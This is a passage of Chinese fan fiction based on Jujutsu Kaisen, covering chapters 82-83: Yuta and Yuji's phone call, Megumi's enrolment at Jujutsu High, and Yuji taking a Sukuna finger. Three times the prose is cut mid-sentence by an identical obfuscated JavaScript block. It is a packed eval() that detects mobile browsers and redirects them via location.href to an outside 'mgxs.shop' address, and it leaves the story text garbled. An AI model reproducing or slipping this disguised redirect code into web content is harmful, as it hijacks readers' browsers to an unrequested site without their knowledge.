“生日祝福,”乙骨忧太把自己塞回床铺上的角落,曲腿背靠着墙,任由手机屏幕上的光将他的脸照得惨白,“我想听你亲口再说一次。”
万籁俱寂的夜晚似乎忽然变得喧闹起来,为了躲避被吸引而来的蚊虫,虎杖悠仁加大了摇晃秋千的幅度,没怎么犹豫就满足了乙骨忧太的执念:“生日快乐,忧太。”
乙骨忧太将头埋入膝盖间,把手机拿远了一些。
“我现在就想见你。”他没有闭眼,漆黑的眸子瞪得浑圆,侧头对着电话那边的人说道。
很久都没有听见回音,乙骨忧太重新将手机贴到了耳边,只有熟悉的呼吸声隐隐传来。
“......那之后要把这段时间补回来。”
这次终于得到了对面人略带着无奈的回应:“说什么傻话,时间要怎么补回来啊......难道死的时候和地狱的神明说‘不好意思我还欠着时间没有还,能让我再多活一段时间可以吗’这种话?”
“就是因为失去的时间无法弥补,所以错过了就是错过了,分开了就是分开了,”乙骨忧太没有因为虎杖悠仁缓解气氛的玩笑话而放松下来,任凭自己逐渐失控的情绪爆发了出来,毫不掩饰地倾洒向听他说话的那个人,“每一分、每一秒都很重要——我不想再浪费时间了!”
一旦遇到和虎杖悠仁有关的事,他就很难理清自己的头绪。说出口的爱意酸涩到让人只尝一口就会拧眉皱鼻,和从前村子里的巨木果实似的,总有人会被它饱满的表皮和健康的颜色欺骗,吃过一口后没有决意直接扔掉,也不愿意违背意愿继续吃下去,左右为难。
不过,若是爱意能被列出一二三四来搞清楚究竟自己是怎么想的,将那些缠绕在一起的毛线团逐一梳理清晰、排列整齐的话,反而叫人失了兴致。
也许混沌又复杂的才是爱之本色吧。
虎杖悠仁心如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378220|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
擂鼓:“……都说了让你不要这么幼稚,结果现在我也、超级相见你的啊——”
但是不可以。
偏偏他们两个都明白理由。他们正走在各自的路上,只是看起来渐行渐远,而命运强迫他们踏上的并非绝对平行的两条道路。
除开咒术与诅咒,他们的人生也早就纠缠在了一起,脚下所行之路意味着或早或晚,他们终将再次重逢。
“——这种心情,我们是一样的啊,”虎杖悠仁感受着秋千晃悠时轻微的失重感,郑重地说道,“而且,那个约定,绝对、绝对不会改变。”
“......你是这么想的吗?一定要一个人去做吗?”
“是。”
虎杖悠仁调整呼吸,更加坚定地说道:“和忧太一样,这是‘我希望去做的事’。”
乙骨忧太沉默着。如今双方情境调转,他也终于能够切身理解虎杖悠仁在包容他的任性时究竟作何感想。
“那我们扯平了,”他侧身倒在床上,望向天花板,“下一次见面之后,我们就让一切都变回原样吧。”
虎杖悠仁终于笑了出来:“好啊!”
“说好了?”
“说定了!”
入夜之后,公园里的空气慢慢变得潮湿了起来,虎杖悠仁倒是不觉得冷,他从秋千上下来,迈了两步跳上滑梯的顶部。这个滑梯的构造和仙台小公园里的那个像极了,滑梯底部有一个空洞结构,成为了附近孩子们最喜爱的秘密空间。
小时候他不需要弯腰就能钻进这种空洞,但是现在他只能跪在地上才能勉强将上半身探进去了。
他坐在滑梯的顶部,开始思考要如何将夏油杰的尸体被人利用这件事告诉乙骨忧太。虎杖悠仁不知道羂索是如何做到的,他在占据了夏油杰的身体后,连他的身份也一同夺走了,体现在束缚上的表现就是虎杖悠仁没办法将“羂索现在就是夏油杰”这件事告诉任何人。
要冷静、完整地思考。他逼迫着自己欺骗大脑,梦想着让那该死的诅咒暂时失效。羂索分明才是鸠占鹊巢的恶魔,可是他利用咒术让夏油杰也在虎杖悠仁的心中变成了不可触碰的存在。
他拼命将脑海中属于夏油杰的宝贵回忆托起,带着它们远离泥泞、纠缠不休的泥潭,将属于羂索的表皮剥离,竭尽全力创造出了一个小小的奇迹。他只能做到这么多,在鲜红的血液从鼻腔里流下的同时,将所有的期望与信任一同交付给了乙骨忧太。
“忧太,”他说道,感受着血的温度迅速被初春的夜晚带走,只留下液体滑过皮肤时的湿痒,“替我去看看他吧。求你。”
铁锈味很快填满了喉咙,他呜咽着再也发不出声音。
乙骨忧太并没有立刻答应下来,似乎是在仔细分辨着什么。虎杖悠仁没有带任何可以清理血液的纸巾,所以只能低着头用衣袖挡住流个不停的鲜红液体,避免它们掉在滑梯周围吓到明早来到这里玩耍的孩子。
“......好,”乙骨忧太给出了答复,“我会的。我明白的。”
濡湿的感觉从衣袖处开始蔓延,不过虎杖悠仁却无声笑得很开心。
电话被挂断的那一刻,乙骨忧太直接闭上了眼睛。他沉闷地呼吸着,一边为能够重新听见虎杖悠仁的声音而感到雀跃,在通话结束的瞬间爆发出了强烈的不舍,不过同时另一边也在为粉发少年最后的请求感到不安。
除了想要让自己同意某些“过分”的请求时才会用这种听起来像是在撒娇一样的夸张语气说话,乙骨忧太明白此时他颤抖的尾音并非一如往常来自那种玩笑一般的话。
乙骨忧太没有亲眼见过夏油杰的死亡现场,他在来到高专之后通过五条悟之口才大致得知发生了什么。联想到他和五条悟曾推测出的可能性,乙骨忧太不免升起了一些不太好的想法,也难以继续在宿舍里待下去,于是决定出门看看送去家入硝子那边的尸体有没有新的发现,如果能碰到五条悟的话......他得好好想想怎么和五条悟说明自己的猜测。
虎杖悠仁知道自己现在有点狼狈,好在这片街区的夜晚寂静得可怕,从公园到住所之间的这段距离他没有碰到一个行人。
“啊!悠仁!欢迎回来!”血涂跟着坏相看家庭伦理电视剧,开始胡乱学习剧里角色的各种行为,和回来的虎杖悠仁打了招呼。
粉发少年愣了一下,有点别扭地说:“......我回来了。”
戴着围裙的胀相从厨房里走出来,不知道在鼓捣什么东西。他看见了虎杖悠仁脸上的血迹,问道:“悠仁,你去打架了?”
“没有啦,”房间里开着灯,这个习惯也是最近才养成的,虎杖悠仁侧过身和胀相擦肩而过走进了浴室,脱掉衣服先把脸洗干净,“不用在意。”
他的话让九相图兄弟们对视了一眼,随后如他所愿,给他留出了足够的空间独处。
勾玉项链垂在眼前,被血痂染红的水打着旋流入了下水道。
82. 第 82 章
“小惠,真的不用我去帮忙吗?”
“都说了不用。”
伏黑惠没什么更多要带上的东西了,高专的宿舍基础设施都很完备,像被褥等生活用具也有很多,根本不用自己特别准备。为了避免津美纪担心,他还是准备了一个箱子,将房间里的一些东西装了进去。
“好吧,”津美纪像每个过分担忧的长辈一样,总觉得伏黑惠带的东西太少了,恨不得让他把家里所有用得上的东西都搬过去才安心,“如果你有什么需要的话......”
“......我会照顾好自己的,”伏黑惠试图让她不要太过担心,“周末或者节假日我还会回来的。要是觉得压力大,可以把它送到我那边去,宿管人员说可以帮忙照顾。”
伏黑津美纪摇了摇头:“让它先留在我这边吧,每天回家能看到它对我来说也能缓解一下压力。”
她看了看伏黑惠的表情,于是开玩笑地说:“当然,要是那孩子再大一点开始闹腾起来的话,我会把它丢给你的。不过,你们学校真的连入学式都没有吗?我还想跟你一起去看看来着......”
她总是这样,明明自己也只是一个高中生,却总将自己摆到了照顾人的那一方。伏黑惠扭开头说道:“不用,听说会有一个简单的欢迎会,等开学那天我会拜托五条老师帮我拍张照的。”
这样应该能放心了吧。今年的高专新生据说只有两个人,另一个还要晚上一两个月过来......伏黑惠怀疑可能不会单独为了他一个人搞出一场像模像样的入学式,甚至等到另一个人来了之后再补上一个也说不定。
总之,先用五条悟的名头让伏黑津美纪放心下来。
“要和同学们好好相处哦。宗教学校的话,要是有人和你相处不来,也——”
伏黑惠打断了她的话。
“我明白的。”
在津美纪的注视下,他保证道:“不会再随便打架了。说到底那学校在山里,人本来就很少,也不可能有什么不良在。”
少女似乎终于决定停下近乎无休止的关心与担忧,转身继续去房间里查看是否有什么被落下的必要用品。
伏黑惠也松了一口气。他最不擅长应对津美纪这样的好人,难免被他们过于热情的关照逼迫得想要不停后退。总之,进入高专象征着他向咒术师迈出了必然的又一步。
二年级的前辈们今天似乎都在外出执行任务,伊地知洁高也不在,所以伏黑惠自己辗转来到了朱红鸟居下的石阶底。他用咒力强化了身体,拎着分量不轻的行李轻车熟路地踏上了上山路。
“诶?伏黑同学?你今天就来了?”
伏黑惠转头向下方看去:“乙骨前辈。”
乙骨忧太追了上来。他刚刚乘坐伊地知洁高的车被捎了回来,可怜的辅助监督将他放在路口之后就忙着去向夜蛾正道汇报了。
“我们很久不见了呢,”乙骨忧太看起来精神面貌变化了很多,伏黑惠还不能很好地形容他现在带给人的感觉,只是因为隔在他们之间的时间而敏锐地发现了一些不同之处,“津美纪小姐还好吗?”
“她很好,多谢关心。”伏黑惠观察着乙骨忧太。
单从外貌来看,发型已经完全定格,伏黑惠记得他以前似乎和自己类似,发尖的部分会翘起来,而现在它们全都乖顺地垂落,看起来也不像是涂抹了发胶之类的。他没穿高专常见的黑色制服,不过这件白色的外套上也系着黄色漩涡纽扣,所以这是专门定制的特殊校服。
伏黑惠莫名推测这种款式设计可能是五条悟擅自决定的。
最不一样的是眼神。
“乙骨前辈,你现在和虎杖还有联系吗?”
他的敏锐让乙骨忧太大受打击:“......果然很明显吗?”
在乙骨忧太过完生日的第二天,熊猫他们就直接戳穿了他的心事,结果在被问到“为什么能看出来”的时候得到了“很明显的啊,忧太你满脸都是很开心的表情”的回答。
伏黑惠点头。
乙骨忧太挠挠脸颊,他觉得自己应该已经不必再解释什么,所以大方地默认了伏黑惠的猜测。因为被熊猫他们拦下来“审问”的时候他着急去找五条悟,直接狼狈地逃跑了,所以“生日那天得到了恋人的祝福”这件事不知为何就在咒术师们之间流传开了,那之后每一个遇到他的人脸上都会露出一种让乙骨忧太觉得有些让人无地自容的表情。
大多数是调侃,偶尔会有一两道莫名其妙的注视,不过时间一长他倒也能坦然无视那些目光了。好在熊猫他们非常懂得分寸,没有将乙骨忧太的恋人是虎杖悠仁这件事说出去。
伏黑惠倒是遭到了前辈几人的“围攻”,他们从他这里套走了一些更多的小道消息......就连虎杖悠仁喜欢詹妮弗·劳伦斯这件事都能让熊猫发出“喔嚯~”的感叹。
“所以虎杖他现在?”
伏黑惠想过要不要问乙骨忧太要到虎杖悠仁新的手机号,不过考虑到粉发少年没有主动联系的意思,也担心在双方的立场下继续联系会带来不好的影响,所以就放弃了这个想法。反正如果真的有事,还能通过乙骨忧太传达到。
虽然伏黑惠是可以信任的人,但乙骨忧太并没有轻易地将事情完全和他说明白。就像二年级的同期们无论如何也没办法从他手里问到百鬼夜行当天发生在高专的真相,乙骨忧太并没有正面回答伏黑惠的问题。
“虽然联络恢复了,但我们都觉得还不是见面的好时机......我们在为了共同的目标而努力,不过不是像百鬼夜行那样的事,这一点我可以保证。”咒术界的高层至今仍未完全信任他,哪怕总监部已经换上了一批......可以让五条悟稍微轻松一些的家伙,但对于他这个“前诅咒师”、拥有强大力量的危险分子,仍有很多人觉得他进入高专怀有不可告人的秘密。
只是想要利用乙骨忧太的想法战胜了对他的忌惮,亦或者“手握最强”的总监部始终没能看清他们之间的信任关系......总之,有关他和虎杖悠仁那个共同的目标,只有五条悟一个人完全地理解了。
虎杖悠仁冒着违背束缚的代价传递出来的某种信号也被成功接收。和棺木下葬的那天一样,再一次去到夏油杰沉眠之地的只有乙骨忧太和五条悟两个人。
那片本应代表着永久安宁的土地出现了令人不安的变化,被眼罩挡在黑色之后的六眼将它们逐一发现,并坚定了乙骨忧太的判断。
夏油杰的尸体被人带走了。
联想到他们曾经推测出来的有关羂索能力的猜测,乙骨忧太确信虎杖悠仁想要告诉他们的就是羂索已经占据了夏油杰的躯壳这一残酷的事实。
他还是不太能够看得明白五条悟究竟是怎么想的。白发的最强咒术师捏着下巴望向空荡荡的棺木,乙骨忧太听不出他的气息有什么起伏,甚至说话的语气腔调还没有百鬼夜行当天在东京前线见到自己时那样严肃。
“这下麻烦大了啊。”五条悟说道。
但乙骨忧太觉得他现在一定很生气。非常、特别的生气。
“帮我好好谢谢悠仁那孩子吧,虽然现在还想不到那个人准备利用杰的尸体干些什么,不过现在发现总好过某天突然在不恰当的场合意外重逢。”
可惜,薨星宫始终拒绝所有人。
乙骨忧太似乎陷入了某种沉思当中,伏黑惠也识趣地不再打扰他的思绪。既然乙骨忧太都这么说了,那么他们之间的羁绊就应当已经强硬到连时间与空间也无法阻隔的地步。或者说,他们两人都绝不会允许这段关系就此破裂,比起自己忍受的痛苦,他们更希望对方能够安然幸福下去。
伏黑惠觉得,如果只有一方这样想的话,双方的链接总有一天会因为不对等的意志而或被动、或主动地断裂。如果两方都这样将彼此认作唯一,这段关系就会永远地、长久地存续下去,哪怕被诅咒扭曲成了最无法接受的模样,恐怕也将以某种畸形的姿态击碎任何阻碍吧?
真是令人感到可怕的坚韧。
“听说今年还会有学生转学过来?”快走到校舍前的时候,乙骨忧太似乎终于挣扎着从自己的思绪中抬起头来,问道。
伏黑惠点头:“听说是家系入学的人,五条老师说她需要晚来一段时间是因为和家里发生了争吵,她家里人不太想让她来高专。”
家系入学代表着那是从咒术世家走出来的孩子,通常这样的孩子会继承家族的相传术式,而家族也会因为他们的咒术天赋而感到骄傲。不过,例外也有很多。
“听起来和狗卷同学家很像呢,想要后辈离开咒术界之类的。”
狗卷家尽管也是咒术世家,相传术式甚至是强大的咒言,但家族的目标却是“血统清洗”,以将咒术师的血统彻底从家族中清洗干净为目标努力着。偶然觉醒了咒术天赋的狗卷棘算是一个例外。
伏黑惠和二年级的前辈们已经很熟悉了,因此只是默默地认同了乙骨忧太的说法。
“啊对了,还有一件事。”
伏黑惠准备进入校舍挑选自己的房间,乙骨忧太看起来要去找五条悟,他们在楼门口分开的时候,乙骨忧太叫住他说:“下个月我可能要去国外一趟,如果顺利的话能在交流会之前回来,但如果来不及的话......今年的交流会可能得需要你们和熊猫他们一起努力了。”
去年的京都姊妹校交流会开始时乙骨忧太还没来高专,不过幸运的是当时秤金次和星绮罗罗居然也参加了,尽管配合得并不算默契,好歹也算是体面地赢了下来,所以今年的交流会仍会在东京咒高举办。
然而乙骨忧太下个月准备出国,意味着有可能继续错过今年的交流会。
“一年一度的机会,结果都这么巧的完全错过了......”乙骨忧太的语气略带可惜。
伏黑惠抬眼。这大概是乙骨忧太另一个明显的变化了吧?他整个人不再像以前一样散发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378221|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着纯然的温润内敛,反而增添了一丝锐利的锋芒,就像是一柄宝刀终于开刃,如果在挥刀的时候不小心谨慎一些的话,连使用者都会被划伤。
“是海外的任务?”
乙骨忧太想了想,解释道:“也不算是正式的任务,因为不是去祓除咒灵,而是寻找某个人和某样东西。”
如果只是寻常的任务,也就不用说“归期不定”这种模棱两可的话了。乙骨忧太要去海外寻找米盖尔的下落,以及五条悟最关心的东西——特级咒具黑绳。
当初参加百鬼夜行的诅咒师们除了被当场击溃的家伙,还有像是枷场姐妹、菅田真奈美他们这样脱离战场后不知所踪的人,而牵制五条悟的主力之一米盖尔直接在第二天乘飞机离开了这个国家。
黑绳在战斗中已经被消耗得差不多了,不过这种能够干扰【无下限咒术】的东西的存在始终对他们来说是个不安定的因素,就像当年的天逆鉾一样,五条悟想要乙骨忧太拿到黑绳之后尽可能游说米盖尔来当自由咒术师。
反正米盖尔也不以咒杀普通人为生,只是个依循个人理想而投身大业的人,所以五条悟觉得乙骨忧太成功的概率并不算小。
乙骨忧太本人倒不觉得事情有这么乐观,毕竟米盖尔想要追随的人已经不在了。
“但是不把黑绳拿到就不能回来哦。”
总之被下达了这样任性的命令,乙骨忧太觉得自己没有拒绝的理由。尤其是当五条悟说“也许黑绳能对那个束缚起到相同的作用”时,他几乎有点迫不及待了起来。
“不会担心吗?”伏黑惠问道。
乙骨忧太明白他在问什么:“说不担心肯定是假的吧......不过,还是想要去相信他。悠仁不是什么离开我就活不下去的人,就算没有遇到我,他的人生一定也能过得很精彩。因为他本来就是个很坚强的人啊。”
伏黑惠突然说:“乙骨前辈,如果他要干什么惊天动地的蠢事,你应该不会陪着他胡闹吧?”
“诶——?!这个、啊......?怎么突然......?”
伏黑惠觉得大事不妙。
“......算了,”他拎着行李叹了口气,和乙骨忧太分开前最后说道,“我没有其他的意思,不管是经过深思熟虑还是一时冲动做出的选择......我希望你们未来不会后悔。”
作为一个咒术师,伏黑惠知道后悔的意味。
乙骨忧太收敛了脸上的惊慌表情,变得让伏黑惠有些陌生了起来,用沉稳的语气说道:“我明白你的意思,伏黑同学。我们已经做过太多错误的选择,也早就明白后悔是最没有用的事情。在这一点上,我和悠仁都是一样的。”
他笑了笑,带着点释然:“抱歉。”
伏黑惠没再说话。
在他们的这次对话之后不到一周,乙骨忧太就直接飞去了国外,因为选在凌晨的时间离开,所以没有人去送他。
“结果他就那么直接走了?还以为他会稍微纠结一下的。”熊猫坐在台阶上,狗卷棘和伏黑惠正在训练场上进行体力训练,禅院真希站在熊猫身旁调适着新拿到手的咒具。
“会犹豫才是不正常的吧?熊猫你也太小看那家伙了,”禅院真希不认同熊猫的看法,“一旦选定了某个目标就会头也不回地一路走下去,就算撞得头破血流也只会觉得自己没尽全力,这种人真叫人头疼。”
熊猫抖动着毛茸茸的耳朵,赞成了她的话。
“说起来,我们是不是该给新生们办一个欢迎会?虽说秤他们办的那个很拉胯啦,但之前棘还很期待来着,我看他把很多欢迎会需要的装饰材料加到自己的购物清单里了。”
“等第二个人来了之后一起比较好吧?入学式的那个牌子就留在门口呗,去年不是留了两个多月才有人想起来把它收走嘛。”
高专的新生入学式多少还是有些仪式感的,具体体现在校门口的那块看上去返聘很多年了的牌子。伏黑惠拜托狗卷棘帮他拍了合照,发给津美纪让她不用再担心。
在这个学期刚开始的一个月里,伏黑惠几乎没怎么坐在教室里上课,有的时候是跟着二年级的前辈们出任务,又或者帮五条悟干一些他一个人也能干的杂活。
“宿傩的手指?那种特级咒物怎么会放在学校里啊?”
面对伏黑惠的质疑,五条悟解释道:“如果封印的效果没有减弱的话,宿傩的手指镇压诅咒的力量倒是能和它本身吸引诅咒的力量维持在一个微妙的平衡,但问题是时间过去太久了,再强力的封印也会被慢慢剥穿。”
最近在五条悟的周转下,咒术界开始寻找散落各处的宿傩手指,被放置在宫城县仙台市杉泽第三高中里的这根就是他们这次的目标。
“而且,说不定能碰到那孩子哦。”五条悟抬起一根手指晃了晃。
除了高专众人,还有另一个人也在寻找宿傩的手指。
应该不会这么巧吧?伏黑惠心想。
83. 第 83 章
佐佐木关上了教室的灯,黑暗中只有桌子上被点燃的蜡烛发出幽幽火光。
“井口,快把那东西拿出来吧,”佐佐木三步并作两步跑回了桌边,因为动作带起的风差一点吹散了蜡烛上的火,这让她变得小心翼翼了起来,“呜哇,差一点!”
身材高大的男生从包裹里拿出了一个颜色陈旧的木盒,觉得周围的空气变冷了一些:“我应该把窗户关上了才对......”
佐佐木推推眼镜:“哼哼,不觉得这个氛围很到位吗?”
如果她的手没有在抖的话,井口很乐意听她这么说。
“不、不要在意这种细节!我只是太激动了而已!好了,我们开始把它拆开吧!”佐佐木也觉得背后一阵阵发凉,但身为灵异现象研究会的会长,为了保住岌岌可危的社团,他们必须要做出一点足够有说服力的研究出来!
因为他们两个都很胆小不敢去附近有名的灵异地点实地调查,所以退而求其次,决定将从学校百叶箱里找到的这个东西调查一番。
毕竟这个古朴的盒子看上去真的像极了他们印象中和巫术之类有关的东西,盒体表面已经出现了细微的裂纹,涂上去的漆液也干裂起甲,拿到手里后能闻到陈旧腐朽的气味。
盒子里的绒布中躺着一个被咒符缠绕裹紧的棍状物,佐佐木拉开盒子时带起的风让她手边的烛火晃了一下,两个人的影子跟着一起在墙面上摇摆起来。
“这东西、好难揭啊......”
井口收紧了校服的领口,下意识地看向拉上了厚厚窗帘的方向。他总觉得越来越冷,明明窗户都被关紧了。
“井口,别东张西望了,帮我一下!”
今夜天气很好,是个难得能看清星空的夜晚。
虎杖悠仁还没走进校园就已经感受到了宿傩手指散发出来的邪恶气息,他抬起头,看见了同样被丰盈的诅咒之力吸引而来的高等级咒灵。
“封印被打开了?”他骤然加快脚步,隐藏在这所学校里的咒灵已经爬上了天台。
除了这个大块头,还有一些低等级的咒灵已经穿过了楼墙进入到了教室里。穿墙是独属于低等级咒灵的能力,虎杖悠仁直接借助术式高高跃起,决定先把趴在教学楼天台上的这个大家伙解决掉。
二级咒灵已经初步具备了最基本的知性,被本能驱使着向感知到特级咒物的地方前进着,不过它立刻留意到了来自半空中的威胁。
它看上去不是个能够说话的家伙,硕大而凸起的眼睛骨碌碌地转着,不断在目标和半空中的虎杖悠仁之间游移,似乎代表了它正在经历勉强能够被称为“思考”的过程。
虎杖悠仁可不会等它,身体因术式的作用变得轻盈,仿佛能够彻底摆脱重力飞上天去似的。想要快速落地也只需要继续调整重力,这对现在的虎杖悠仁来说也算得心应手。
不需要发动第二个术式,仅凭包裹着咒力的拳头一击击溃了天台上的咒灵。只是现场有些惨烈,双重咒力先后打入咒灵的体内,像是从内部炸裂一样的咒灵血液和碎肉飞溅到了天台各处,远方教学楼的玻璃上也沾上了一些。
虎杖悠仁甩着手,手上戴着的咒具很好地保护了指骨部分的皮肤。低级咒灵能够穿墙,但他只能寻找入口,或者直接制造一个人为入口出来。
他已经听见了从教学楼里传来的响动和恐惧的惊叫,明白此刻争分夺秒,不容他继续浪费时间。虎杖悠仁向后退了几步,沉下重心准备直接在教学楼的外壁上开一个洞。
现在也顾不得明天被人发现教学楼的墙破了一个洞会引发怎样的轰动,还是先救人要紧。
他刚迈开步子,忽然警觉地望向身后。
眉头还没完全皱起,他却在下一刻一下子放松了下来,瞪大眼睛望向式神在半空中展开的羽翼,喊道:“伏黑?!”
“嘁,待会儿再说你的事,”现在的鵺没办法带上第二个人,伏黑惠叫出了青蛙站在自己肩膀,让它用长舌头拽住虎杖悠仁的腰,借助鵺向前飞行的惯性将粉发少年带离了天台,甩向了更加接近宿傩手指暴露的楼层,“要是被吞进去就完了!”
其实比起手指被咒灵吞下孕育出更强力的诅咒,虎杖悠仁更害怕有人像他一样吃掉手指。不管是因剧毒而死还是让宿傩完全受肉,他都觉得难以接受。
被青蛙的舌头带离地面的瞬间,他谨慎地没有使用术式,让伏黑惠的式神们借助惯性帮他快速接近教学楼。
“虎杖!”
虎杖悠仁已经看见了楼道内的咒灵和已经被抓住的学生。
与体内的咒力产生共鸣的邪恶诅咒在他眼中如同明灯一般,虎杖悠仁抿着嘴巴,双手护住头面,调整着姿势一脚踹开了楼道的窗户玻璃。
清脆的碎裂声伴随着咒灵尖锐的嚎叫被走廊无限拉长,虎杖悠仁感觉腰间的束缚一松,立刻扒着窗框跨步跃到了咒灵的头顶,将半个身子陷进去的佐佐木径直扯了出来。
她的手上还死死抓着那根干枯的紫红色手指,虎杖悠仁确认之后就从咒灵头顶跳了下去,将这片地方留给伏黑惠。
估计是下意识的行为才让佐佐木没有松手,只是被咒灵吞噬的大半个身子和握着咒物的手掌已经被诅咒侵蚀,伤痕迅速开始蔓延。
虎杖悠仁从她手中拿走了手指,回身看见了黑白玉犬将咒灵撕扯得粉碎。
伏黑惠摸着后颈走到了拐角,他们两个人就这样隔着一段距离沉默着。
虎杖悠仁先把佐佐木靠着墙放了下来:“一般你们遇到这种被卷入诅咒事件中导致受伤的人要怎么办?”
他指了指沿着佐佐木手臂开始向上延伸的侵蚀,表皮已经出现了不同程度的红肿和破溃,让她在昏迷中也痛苦地皱着眉头。
虎杖悠仁能够使用反转术式,但是他没办法直接向外输出正极能量,也就意味着他的反转术式不能直接治疗他人。
“高专有专门的人来处理这些事。”【十种影法术】中倒是有一只名为円鹿的式神能够使用反转术式,但是现在伏黑惠还没调伏它,所以只能交给高专的专业人士来处理战斗留下的这堆“烂摊子”。
“这样啊。”虎杖悠仁放下心来。
他留意到伏黑惠的视线停留在了他手中的咒物上,玉犬们围在伏黑惠身边,甩着尾巴同样望向虎杖悠仁。
“抱歉伏黑,这东西不能交给你。”虎杖悠仁露出了明显的戒备。
伏黑惠闻言保持着那副扑克脸思考了一下,随后就掏出了手机。
“......就算你叫五条先生过来也没用的。”虎杖悠仁虚张声势,眼睛不住地撇向慢慢凑过来的白色玉犬,脚下想要挪动着赶快离开这个地方防止被五条悟逮住,却不知为何如同被钉在原地了一样寸步难移。
然而手机相机摁下快门时的咔嚓声和闪光灯让他下意识地眯起眼睛。
伏黑惠面无表情地狂点快门:“不,你站在那里别动,我照两张照片发给他们。”
“你这人真的是伏黑吗?!太不对劲了吧?!”
“不对劲的是你们才对,”伏黑惠默许了玉犬们接近虎杖悠仁的行为,迅速找到了相应的联系人,将刚刚拍下来的照片点击发送,“虎杖,你还想当英雄吗?”
玉犬柔软的长毛扫过虎杖悠仁的腿,他抬高手臂避免小白扑上来的时候离他手中的咒物太近,闻言愣了一下,刚想否认,却听见自己的嘴巴说:“也许吧。”
显然他和伏黑惠都没想到能够听见这样的回答。
虎杖悠仁不知道为什么自己会变得有些慌张,他立刻解释道:“不,不是那种英雄的意思,我只是觉得......我第一次觉得有些事只能由我来做,一些事必须由我来做。”
他抬起头,直视伏黑惠的双眼,将自己无比坚定的内心剖给他看:“我已经找到了战斗的理由。不是作为咒术师或者诅咒师,而是作为‘我自己’,现在向前的话已经不会再觉得迷茫了。”
伏黑惠的反应出乎意料的平淡,他只是一如既往单手插兜,平静地回答道:“这样就好。”
虎杖悠仁还是没忍住,狠狠从头到脚将小白揉搓了一通,连甩着尾巴看起来和他没那么亲近的小黑也没逃过,最后顶着乱糟糟的毛发回到了伏黑惠的身边。
就像他们以前每次分别时那样,普通地道别、走向不同的方向,最后的背影也消失在路灯无法照亮的远方。
虎杖悠仁找了个没人的小巷,确定四周环境安全之后径直将手中的咒物丢进了嘴里。
不管吞下几次,他都觉得这东西难吃到要死。
强行抑制住有点反胃的欲望,他很快便神色如常地穿过小巷回到了大街上。他没怎么留意自己究竟走到了哪里,看上去这附近是个热闹的商圈,街道两侧都用明亮的灯将橱窗里的商品照得光彩夺目,套在人形模特上的衣服吸引着路人的目光。
他沿路继续向前,自从走上一个天桥之后,他就有点分不清地上和地下了。天桥连通着一个修建在半空中的步栈道,有不少人站在边缘的栏杆旁向下望。
虎杖悠仁走到他们附近,顺着视线看到了一个圆形场地中正在排演的乐队。这个方向能够将后台一览无余,乐队们所在的场地是四周敞开、有半圆形拱顶的结构,调适中的灯光将地面照得五彩斑斓,让人眼花缭乱。
虎杖悠仁觉得自己可能走到了二层甚至三层的位置,过了饭点之后这附近的人逐渐变多了起来,大多数人是被坐落在附近的几座大厦吸引过来的。
这种地方当然诅咒丛生。
“......”虎杖悠仁察觉到了从刚才起就突然明显起来、不再收敛的恶意,他垂眸快步走了两步,选择了人流较少的方向。
离开购物中心,穿越了闪烁着各种霓虹灯与动感音乐的步行街,他终于忍无可忍:“我说过我很讨厌你,真人。”
淡蓝色头发、脸上有缝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378222|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
合线的特级咒灵故意将手臂搭在了虎杖悠仁的肩膀上,用它那特有的腻歪嗓音挑拨他的理智:“真可惜,我还觉得我们是同类来着。”
它的暴论理所当然地得到了虎杖悠仁愤怒的瞪视,粉发少年用力甩开它的手:“看在他的份上我不会和你动手,但是我再重申一遍:我非常、非常讨厌你。我和你们可不是同伴,别搞错这一点。”
真人窃笑,最后变成了毫不遮掩的狂笑,其中涵盖的嘲讽意味溢于言表。只不过这附近除了虎杖悠仁之外,没有其他人会注意到这里发生的事。
“安心啦,我还没无聊到准备真的和人类成为同伴,”真人耸肩,无所谓地说,“我不过是来这边找灵感,毕竟这里人多嘛。”
虎杖悠仁厌恶真人对待生命那轻飘飘的态度。
也许很久之前虎杖悠仁觉得每个生命的诞生都有各自的使命,理解活着的意义、完成使命然后死去,这就是死亡这个意象所代表“正确”。但是经历过种种变故,他终于明白似乎并非如此。
说人生来就背负着某种只有自己才能完成的使命,那也应该是经过“自己选择的人生”之后领悟到的意义,与人之本性无关。
正是随着年岁增长发生在自己身边的每一件或许有意义、或许没意义的小事逐渐堆积起了一条通向未来的路,就算没有什么命定的使命也无所谓,只要还有这样的小事存在着,人生就有它应有的价值。
像真人这样自称能够看透人心、玩弄灵魂的家伙,将人类当成可以随意摆弄的道具,轻而易举地否定了那些价值。这是毫无理由的恶,虎杖悠仁无法容忍这样的存在声称他们是同类。
